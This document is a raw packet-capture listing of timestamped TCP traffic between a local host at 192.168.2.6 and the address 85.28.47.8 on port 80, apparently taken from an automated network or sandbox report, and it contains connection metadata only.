                                                              Jul 4, 2024 11:16:15.780381918 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.783389091 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.783405066 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.783422947 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.783433914 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.783446074 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.783453941 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.783473969 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.783504009 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.783519983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.783541918 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.783566952 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.783603907 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.816535950 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.816550970 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.816560984 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.816575050 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.816586018 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.816597939 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.816605091 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.816651106 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.816663980 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.816675901 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.816714048 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.816714048 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.816755056 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.816768885 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.816796064 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.816875935 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.816888094 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.816898108 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.816915989 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.816935062 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.816973925 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.816987991 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.816999912 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.817028046 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.817141056 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.817152977 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.817164898 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.817176104 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.817189932 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.817225933 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.817435980 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.817447901 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.817460060 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.817470074 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.817473888 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.817482948 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.817495108 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.817508936 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.817539930 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.817624092 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.817636967 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.817648888 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.817660093 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.817665100 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.817698002 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.817734003 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.817773104 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.817820072 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.817831993 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.817853928 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.817866087 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.817871094 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.817878962 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.817890882 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.817900896 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.817923069 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.817961931 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.817977905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.817990065 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.818003893 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.818012953 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.818017006 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.818027973 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.818038940 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.818068027 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.820610046 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.820671082 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.820681095 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.820693016 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.820703983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.820703983 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.820738077 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.820779085 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.820791006 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.820801020 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.820816994 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.820822954 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.820846081 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.820925951 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.820936918 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.820947886 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.820959091 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.820960045 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.820979118 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.821043015 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821053028 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821064949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821075916 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821082115 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.821090937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821101904 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.821130991 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.821238995 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821249962 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821265936 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821276903 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821285009 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.821290016 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821301937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821326971 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.821350098 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.821377039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821449995 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821460962 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821484089 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.821547985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821557999 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821568966 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821578979 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821582079 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.821592093 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821611881 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.821707010 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.821721077 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821738005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821748972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821759939 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821772099 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821773052 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.821785927 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821791887 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.821798086 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821808100 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821820021 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.821867943 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.821903944 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821916103 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821926117 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821937084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821948051 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821953058 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.821959972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821971893 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.821974993 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.821984053 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.822004080 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.822068930 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.822081089 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.822099924 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.822129011 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.822196960 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.822207928 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.822218895 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.822230101 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.822241068 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.822242022 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.822254896 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.822267056 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.822272062 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.822283983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.822293997 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.822299957 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.822305918 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.822318077 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.822321892 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.822352886 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.822359085 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.822398901 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.822443962 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.822455883 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.822465897 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.822489977 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.873524904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.873538017 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.873563051 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.873565912 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.873575926 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.873589039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.873594999 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.873600960 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.873614073 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.873621941 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.873651028 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.906604052 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.906620979 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.906632900 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.906672955 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.906712055 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.906723976 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.906735897 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.906747103 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.906759977 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.906761885 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.906773090 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.906812906 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.906847000 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.906860113 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.906872034 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.906903982 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.906975985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.906987906 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.906999111 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.907015085 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.907031059 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.907059908 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.907075882 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.907087088 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.907103062 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.907119036 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.907120943 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.907125950 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.907135010 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.907140970 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.907140970 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.907179117 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.907284021 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.907295942 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.907313108 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.907325029 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.907335997 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.907344103 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.907349110 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.907360077 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.907387018 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.907480001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.907510996 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.907521963 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.907533884 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.907546043 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.907546997 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.907558918 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.907569885 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.907571077 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.907598019 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.907666922 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.907707930 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.907726049 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.907742023 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.907753944 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.907764912 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.907776117 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.907776117 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.907788992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.907799006 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.907807112 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.907825947 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.910701990 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.910753012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.910763025 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.910763979 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.910775900 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.910800934 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.910840034 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.910852909 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.910865068 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.910876989 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.910881042 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.910908937 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.910959005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.910973072 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.910989046 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911000013 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.911027908 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.911139011 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911150932 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911163092 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911175013 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911199093 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.911222935 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.911283016 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911294937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911305904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911318064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911329031 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911331892 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.911340952 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911351919 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.911353111 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911366940 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911384106 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.911403894 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.911494017 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911505938 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911516905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911529064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911540985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911552906 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911554098 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.911576033 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.911616087 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.911680937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911694050 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911705017 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911715984 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911726952 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911731005 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.911740065 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911755085 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.911780119 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.911890984 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911901951 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911921978 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911933899 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911947966 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.911955118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911966085 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.911971092 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.911988020 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.912012100 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.912146091 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.912157059 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.912170887 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.912180901 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.912182093 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.912194014 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.912205935 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.912209034 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.912223101 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.912229061 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.912230015 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.912235975 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.912241936 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.912301064 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.912309885 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.912327051 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.912333012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.912349939 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.912373066 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.912441015 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.912451982 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.912472010 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.912488937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.912502050 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.912513018 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.912518024 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.912518024 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.912528992 CEST804972385.28.47.8192.168.2.6
